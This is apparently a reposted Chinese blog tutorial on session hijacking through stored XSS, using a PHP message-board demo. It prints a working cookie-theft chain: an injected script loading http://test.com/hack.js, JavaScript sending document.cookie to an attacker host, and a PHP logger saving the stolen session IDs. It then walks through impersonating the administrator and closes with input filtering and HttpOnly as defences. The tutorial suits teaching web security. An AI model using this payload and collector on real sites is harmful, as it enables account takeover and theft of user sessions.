文章出處

跨站腳本攻擊XSS中簡單介紹了XSS的原理及一個利用XSS盜取存在cookie中用戶名和密碼的小例子,有些同學看了后會說這有什么大不了的,哪里有人會明文往cookie里存用戶名和密碼。今天我們就介紹一種危害更大的XSS——session劫持。

神馬是session

想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同學知道,http是無狀態的,也就是客戶端向服務器請求完成后,會斷開連接,下次同一個客戶端再次訪問服務器的時候,服務器會把它當作一個陌生的請求,不會知道它曾經來過,這里有它的印記。

但是這樣的交互是非常麻煩的,某個網站有很多theme,通過一套機制記在服務器中,用戶訪問的時候從數據庫等地方讀取配置,返回給客戶端合適的themeHTML響應。因為http沒有狀態,下次用戶再來的時候又讀取一遍數據庫配置,每個用戶都要重復這個過程,是不是很麻煩。這時候我們希望有一個全局的變量存儲空間,用來存放一些全站點都需要的并且不會變來變去(即使變也沒什么)的數據,這就是Application變量。Application變量是站點的全局變量,只要服務器不宕機,任何用戶在任何頁面在授權的情況下都可以訪問,進行讀寫操作。這樣一些theme、timezone等信息就可以在用戶第一次訪問的時候存放在Application內,再次訪問或者其它用戶訪問的時候可以直接去讀取,方便了很多。

然而,有時候我們希望服務器為我們每個單獨的web用戶開辟一塊兒私密空間,比如我們肯定不希望用戶訪問一個頁面就輸一次用戶名、密碼,當用戶第一次登錄成功后可以把登錄信息存放在服務器,下次來了直接比對就可以。但是明顯大家不希望自己的用戶名和密碼能夠被所有的用戶訪問,所以服務器私密空間是需要的。

but,由于http的無狀態性即使服務器上有了每個用戶的私密空間,但下次用戶訪問的時候,服務器仍然不知道用戶是張三、李四還是王二麻子。這可怎么辦,聰明的同學肯定想到了,讓客戶端的請求告訴服務器我是王二麻子就行了。這樣服務器和客戶端就可以對話了,不至于說了后句就忘了前句。

問題在于客戶端怎么告訴服務器我是誰。細心的同學會注意到cookie是http協議的一部分,會在http請求和http響應中出現,而客戶端和服務器有記憶的會話正是靠cookie實現的。拿登錄做例子,會話過程是這樣的

登錄

1. 客戶端發送登錄請求

2. 服務器接收請求,驗證登錄,成功后為此web用戶開辟一個私密空間,存放登錄信息

3. 服務器為這個私密空間編號,類似于PHPSESSID=rcmjnke6er5pnvf3qof0lclca7這樣的一個鍵值對,不同的語言生成的鍵名和值的規則不同,但是都本著兩個原則:第一,value必須唯一,畢竟一個站點可能同時有數百萬甚至更多用戶在訪問,不能讓兩個用戶的表示一樣;第二:生成的value必須是不可推測的,否則別有用心用戶就可以根據自己的表示信息推斷出別人的,然后偽造別人登錄信息訪問站點(這正是session劫持)。

4. 服務器把這個鍵值對寫入http響應中傳給客戶端

5. 客戶端接收響應,關閉連接

登錄成功,用戶訪問其他頁面

1. 客戶端發送登錄請求(服務器寫到cookie中的用戶標識信息也被發送)

2. 服務器讀取http請求中的cookie信息,根據標識信息查找對應私密空間,讀取用戶信息

3. 服務器生成特定響應,發送給客戶端

4. 客戶端接收響應,關閉連接

 

這個過程是不是很像是一個會話?這樣第一次來了給個標簽,下次憑此標簽交流的機制就是session,當然session還包含其失效機制等。

session劫持

服務器生成的用以標識客戶信息的cookie一般被稱為sessionId,而通過一些手段獲取其它用戶sessionId的攻擊就叫session劫持。

說的這么恐怖,那么被別人知道了我的sessionId后會有什么危險呢?通過上面交互過程可以看出來服務器是靠sessionId識別客戶端是張三、李四還是王二麻子的,當其它用戶獲知了你的sessionId后,在其有效期內就可以憑此sessionId欺騙服務器,獲取你的身份登錄使用網站。

XSS劫持session

還是使用跨站腳本攻擊XSS中留言板的XSS漏洞,添加一個登錄成功的首頁,包含留言板頁面鏈接,管理員有其它權限,登錄失敗返回登錄頁。

home.php

<!DOCTYPE html>
<html>
    <head>
        <title>Home</title>
        <?php include('/components/headerinclude.php');?>
    </head>
    <body>
        <a href="list.php">Comments</a>
        <?php
            use \entity\authority as au;
            include 'entity\user.php';
            if(isset($_POST['username'])){
                $user=new au\User();
                $user->username=$_POST['username'];
                $user->password=md5($_POST['password']);
                if($user->username=='Byron'){
                    $user->role='admin';
                }else{
                    $user->role='normal';
                }
                $_SESSION['user']=json_encode($user);
            }
            if(!isset($_SESSION['user'])){
                echo '<script>';
                echo 'window.location.href="index.php"';
                echo '</script>';
            }else{
                $me=json_decode($_SESSION['user']);
                echo '<br/>Hello '.$me->username.'!<br/>';
                if($me->role=='admin'){
                    echo "Your are an Administrator, you can do anything.";
                }
            }
        ?>
    </body>
</html>

當我們以管理員身份登錄后界面是這樣的

 

image

當沒有管理員權限的惡意用戶登錄并訪問留言板的時候,利用XSS漏洞注入這樣代碼

image

看看壞蛋做了什么

<script type="text/javascript" src="http://test.com/hack.js"></script>這條語句利用script的src跨域請求壞蛋自己的腳本

http://test.com/hack.js

var c=document.cookie;
var script =document.createElement('script');
script.src='http://test.com/index.php?c='+c;
document.body.appendChild(script);

腳本中創建了一個script標簽,利用jsonp連帶這當前用戶的cookie向'http://test.com/index.php發送了http請求

http://test.com/index.php

<?php
    if(!empty($_GET['c'])){
        $cookie=$_GET['c'];
        
        try{
            $path=$_SERVER["DOCUMENT_ROOT"].'/session.txt';
            $fp=fopen($path,'a');
            flock($fp, LOCK_EX);
            fwrite($fp, "$cookie\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){

        }
    }
?>

原來壞蛋通過XSS把sessionId記到了自己磁盤

如何偽造管理員登錄

這樣如果在壞蛋利用XSS注入劫持sessionId的腳本后管理員登錄并訪問留言板頁面,壞蛋就會得到管理員的sessionId,在其有效期內壞蛋可以這么做

1. 利用自己帳號登錄系統,等待管理員訪問被攻擊頁面,獲取其sessionId

比如我得到管理員sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37

 

2. 通過客戶端修改sessionId

 

自己登錄界面

image

 

修改cookie

image

 

3. 刷新頁面,騙過服務器,自己成了管理員

image

4. 不堪設想。。。

 

如何防范

這種session劫持主要靠XSS漏洞和客戶端獲取sessionId完成,一次防范分兩步

1. 過濾用戶輸入,防止XSS漏洞

2. 設置sessionId的cookie為HttpOnly,使客戶端無法獲取


文章列表


不含病毒。www.avast.com
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 大師兄 的頭像
    大師兄

    IT工程師數位筆記本

    大師兄 發表在 痞客邦 留言(0) 人氣()